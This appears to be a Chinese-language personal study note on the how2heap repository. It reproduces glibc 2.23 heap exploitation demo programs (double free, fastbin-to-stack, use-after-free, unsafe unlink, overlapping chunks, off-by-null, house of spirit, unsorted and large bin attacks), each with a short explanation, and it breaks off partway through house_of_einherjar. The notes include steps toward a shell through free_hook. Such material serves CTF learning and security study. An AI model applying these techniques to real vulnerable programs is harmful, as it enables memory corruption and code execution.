how2heap_zh学习

how2heap_zh学习

堆刚入门,如有错误欢迎指正。源码取自

xiaodian2/how2heap_zh: 用于学习各种堆利用技术的存储库。fork自shellphish/how2heap,提供中文本地化翻译。

glibc_2.23

fastbins_dup

先放源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "这个例子演示了 fastbin 的 double free\n");

fprintf(stderr, "首先申请了 3 个 chunk\n");
char* a = malloc(8);
strcpy(a, "AAAAAAAA");
char* b = malloc(8);
strcpy(b, "BBBBBBBB");
char* c = malloc(8);
strcpy(c, "CCCCCCCC");

fprintf(stderr, "第一个 malloc(8): %p\n", a);
fprintf(stderr, "第二个 malloc(8): %p\n", b);
fprintf(stderr, "第三个 malloc(8): %p\n", c);

fprintf(stderr, "free 掉第一个\n");
free(a);

fprintf(stderr, "当我们再次 free %p 的时候, 程序将会崩溃因为 %p 在 free 链表的第一个位置上\n", a, a);
// free(a);
fprintf(stderr, "我们先 free %p.\n", b);
free(b);

fprintf(stderr, "现在我们就可以再次 free %p 了, 因为他现在不在 free 链表的第一个位置上\n", a);
free(a);
fprintf(stderr, "现在空闲链表是这样的 [ %p, %p, %p ]. 如果我们 malloc 三次, 我们会得到两次 %p \n", a, b, a, a);

char* d = malloc(8);
char* e = malloc(8);
char* f = malloc(8);
strcpy(d, "DDDDDDDD");
strcpy(e, "EEEEEEEE");
strcpy(f, "FFFFFFFF");
fprintf(stderr, "第一次 malloc(8): %p\n", d);
fprintf(stderr, "第二次 malloc(8): %p\n", e);
fprintf(stderr, "第三次 malloc(8): %p\n", f);
}

最简单的double_free,在double_free之后d和f都指向同一个堆,这个时候就可以写入free_hook什么的修改成system,然后free一个内容是“/bin/sh\x00”的指针的堆块就能拿shell

fastbin_dup_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
void* p1 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
void* p2 = malloc(0x10);
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "先 free p1\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
free(p1);
fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
void* p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void* p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}

原理:把p1从fastbins放入unsortedbins里面后就能再一次free p1,具体利用同fastbins_dup

fastbin_dup_into_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "这个例子拓展自 fastbin_dup.c,通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)\n");
unsigned long long stack_var;

fprintf(stderr, "我们想通过 malloc 申请到 %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "先申请3 个 chunk\n");
char* a = malloc(8);
strcpy(a, "AAAAAAAA");
char* b = malloc(8);
strcpy(b, "BBBBBBBB");
char* c = malloc(8);
strcpy(c, "CCCCCCCC");

fprintf(stderr, "chunk a: %p\n", a);
fprintf(stderr, "chunk b: %p\n", b);
fprintf(stderr, "chunk c: %p\n", c);

fprintf(stderr, "free 掉 chunk a\n");
free(a);

fprintf(stderr, "如果还对 %p 进行 free, 程序会崩溃。因为 %p 现在是 fastbin 的第一个\n", a, a);
// free(a);
fprintf(stderr, "先对 b %p 进行 free\n", b);
free(b);

fprintf(stderr, "接下来就可以对 %p 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了\n", a);
free(a);

fprintf(stderr, "现在 fastbin 的链表是 [ %p, %p, %p ] 接下来通过修改 %p 上的内容来进行攻击.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "第一次 malloc(8): %p\n", d);
char* e = malloc(8);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "第二次 malloc(8): %p\n", e);
fprintf(stderr, "现在 fastbin 表中只剩 [ %p ] 了\n", a);
fprintf(stderr, "接下来往 %p 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去\n", a);
stack_var = 0x20;

fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

char* f = malloc(8);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
char* g = malloc(8);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
}

fastbins里的情况:

double_free之后:a->b->a,第一次malloc:b->a,第二次malloc:a,

这个时候再在栈上(或者其他可写区域)写入fake_chunk的size位,再把fake_chunk的地址写入d的fd地址,此时的fasterbins:

a->ptr(fake_chunk的地址)

再把a给malloc,下一次malloc就会把chunk申请到fake_chunk

uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(0x20);
printf("申请了4个int大小的内存");
printf("p1 的地址: %p\n",p1);
p1[1]=echo;
printf("把p1[1]赋值为echo函数,然后打印出\"hello world\"");
p1[1]("hello world\n");
printf("free 掉 p1");
free(p1);
printf("因为并没有置为null,所以p1[1]仍然是echo函数,仍然可以输出打印了\"hello again\"");
p1[1]("hello again\n");
printf("接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的");
func_ptr *p2=(func_ptr*)malloc(0x20);
printf("p2 的地址: %p\n",p2);
printf("p1 的地址: %p\n",p1);
printf("然后把p2[1]给改成evil_fuc也就是system函数");
p2[1]=evil_fuc;
printf("传参调用");
p1[1]("/bin/sh");
return 0;
}

c语言里面free函数调用后是不会清空块的,于是里面的指针可以再次调用。在把p2申请出来后就可以用add或者edit把p1块里面的内容修改掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");

int malloc_size = 0x80; //要足够大来避免进入 fastbin
int header_size = 2;

fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);

fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);

fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
free(chunk1_ptr);

fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
fprintf(stderr, "之前的值是: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "新的值是: %s\n",victim_string);
}

检查绕过:

P->fd=ptr-0x18,P->bk=ptr-0x10

利用unlink的FD->bk=BK,BK->fd=FD的特性,几乎可以做到任意地址写。

此时ptr被修改为ptr-0x18,可以通过更改bk指针的值来进行利用

(unsafe_unlink在glibc_2.31之前都是可以用的,利用unsafe_unlink需要泄露堆地址)

overlapping_chunks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

intptr_t *p1,*p2,*p3,*p4;
fprintf(stderr, "这是一个简单的堆块重叠问题,首先申请 3 个 chunk\n");

p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
fprintf(stderr, "这三个 chunk 分别申请到了:\np1:%p\np2:%p\np3:%p\n给他们分别填充\"1\"\"2\"\"3\"\n\n", p1, p2, p3);

memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);

fprintf(stderr, "free 掉 p2\n");
free(p2);
fprintf(stderr, "p2 被放到 unsorted bin 中\n");

fprintf(stderr, "现在假设有一个堆溢出漏洞,可以覆盖 p2\n");
fprintf(stderr, "为了保证堆块稳定性,我们至少需要让 prev_inuse 为 1,确保 p1 不会被认为是空闲的堆块\n");

int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
fprintf(stderr, "我们将 p2 的大小设置为 %d, 这样的话我们就能用 %d 大小的空间\n",evil_chunk_size, evil_region_size);

*(p2-1) = evil_chunk_size; // 覆盖 p2 的 size

fprintf(stderr, "\n现在让我们分配另一个块,其大小等于块p2注入大小的数据大小\n");
fprintf(stderr, "malloc 将会把前面 free 的 p2 分配给我们(p2 的 size 已经被改掉了)\n");
p4 = malloc(evil_region_size);

fprintf(stderr, "\np4 分配在 %p 到 %p 这一区域\n", (char *)p4, (char *)p4+evil_region_size);
fprintf(stderr, "p3 从 %p 到 %p\n", (char *)p3, (char *)p3+0x80-8);
fprintf(stderr, "p4 应该与 p3 重叠,在这种情况下 p4 包括所有 p3\n");

fprintf(stderr, "这时候通过编辑 p4 就可以修改 p3 的内容,修改 p3 也可以修改 p4 的内容\n\n");

fprintf(stderr, "接下来验证一下,现在 p3 与 p4:\n");
fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

fprintf(stderr, "\n如果我们使用 memset(p4, '4', %d), 将会:\n", evil_region_size);
memset(p4, '4', evil_region_size);
fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);

fprintf(stderr, "\n那么之后再 memset(p3, '3', 80), 将会:\n");
memset(p3, '3', 80);
fprintf(stderr, "p4 = %s\n", (char *)p4+0x10);
fprintf(stderr, "p3 = %s\n", (char *)p3+0x10);
}

申请一个大堆块p2(大于0x80),把p2 free掉会进入unsortedbins,这时候把size改为p2的size+p3的size-0x20,再把p2申请回来就会出现p2完全覆盖p3。此时p2可以修改p3的内容,p3也可以修改p2的内容。

over_lapping_chunks_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;

fprintf(stderr, "\n一开始分配 5 个 chunk");

p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);

real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);

fprintf(stderr, "\nchunk p1 从 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
fprintf(stderr, "\nchunk p2 从 %p 到 %p", p2, (unsigned char *)p2+malloc_usable_size(p2));
fprintf(stderr, "\nchunk p3 从 %p 到 %p", p3, (unsigned char *)p3+malloc_usable_size(p3));
fprintf(stderr, "\nchunk p4 从 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
fprintf(stderr, "\nchunk p5 从 %p 到 %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);

fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
free(p4);

fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");

*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;

fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
free(p2);

fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");

p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);

fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6, (unsigned char *)p6+real_size_p6);
fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);

fprintf(stderr, "\np3 中的内容: \n\n");
fprintf(stderr, "%s\n",(char *)p3);

fprintf(stderr, "\n往 p6 中写入\"F\"\n");
memset(p6,'F',1500);

fprintf(stderr, "\np3 中的内容: \n\n");
fprintf(stderr, "%s\n",(char *)p3);
}

与前面不同的是,这次修改size是在free之前的,修改之后free p2会把p2和p3识别成一个块,然后把它申请回来就能用p2控制p3

mmap_overlapping_chunks

同前面,不过不是在堆上,而是用mmap分配的一个新区域

poison_null_byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{

fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

fprintf(stderr, "申请 0x100 的 chunk a\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a 在: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);

b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");
*(size_t*)(b+0x1f0) = 0x200;

free(b);

fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);
fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);

fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");

b2 = malloc(0x80);
fprintf(stderr, "b2 申请在: %p\n",b2);

memset(b2,'B',0x80);
fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);

fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");

free(b1);
free(c);

fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
d = malloc(0x300);
fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
memset(d,'D',0x300);

fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);

}

对p2进行切割,但是p2的presize填在了p3-0x10的位置,在free p2后,对它切割两次,此时再free p2和p3就会出现二者合并,但是中间有正在使用的由p2切割出来的一个块。这时再申请一个p2+p3大小的块就能够控制那个切割出来的块了。

house_of_spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");

fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");
malloc(1);

fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
fake_chunks[1] = 0x40; // size

fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
// 这是fake_chunks[?]可以数一下
fake_chunks[9] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[10] = 0x4141414141414141LL;

fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
a = &fake_chunks[2];

fprintf(stderr, "free!\n");
free(a);

fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
b = malloc(0x30);
fprintf(stderr, "malloc(0x30): %p\n", b);
b[0] = 0x4242424242424242LL;
fprintf(stderr, "ok!\n");
return 0;
}

在栈上伪造了两个堆块,第一个是要被free的,第二个是0x1234骗过free,然后直接free第一个指针就会把那一块地址放入fastbins,在申请回来就能用fakechunk[2]去修改fakechunk[1]

unsorted_bin_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>

int main(){

fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");

unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

就是把第一个堆块的bk修改成要 修改的地址-0x10,此时这个地址进入了unsortedbins,这样当再一次malloc(0x410)的时候unsortedbins就会认为在这个要修改的地址还有一个空闲的chunk,而unsortedbins只剩它一个了,所以就会把它的fd和bk地址全部修改成main_arean+88。如果再次申请一个chunk,就会把这个chunk申请到要修改的地址。

unsorted_bin_into_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};

fprintf(stderr, "先申请 victim chunk\n");
intptr_t* victim = malloc(0x100);

fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
intptr_t* p1 = malloc(0x100);

fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
free(victim);

fprintf(stderr, "在栈上伪造一个 chunk");
fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
fprintf(stderr, "malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

先申请来两个0x100大小的chunk,free第一个后第一个会被放入unsortedbins。接着在栈或者其他可写地址写入一个fakechunk(size位为0x100+0x10,bk修改为fakechunk的presize位),随后把第一个chunk的size位利用漏洞改小,并把bk改为fakechunk的presize位指针。此时再一次申请一个0x100大小的堆块,就会把fakechunk申请出来。

large_bins_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include<stdio.h>
#include<stdlib.h>

int main()
{
fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "先来看一下目标:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);

fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

malloc(0x90);

fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}

原理与unsortedbins_attack类似,但是能一下子覆盖掉2个区域。

house_of_einherjar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\n申请 0x38 作为 chunk a\n");
a = (uint8_t*) malloc(0x38);
printf("chunk a 在: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n", real_a_size);

// create a fake chunk
printf("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
fake_chunk[2] = (size_t) fake_chunk; // fd
fake_chunk[3] = (size_t) fake_chunk; // bk
fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fd: %#lx\n", fake_chunk[2]);
printf("bk: %#lx\n", fake_chunk[3]);
printf("fd_nextsize: %#lx\n", fake_chunk[4]);
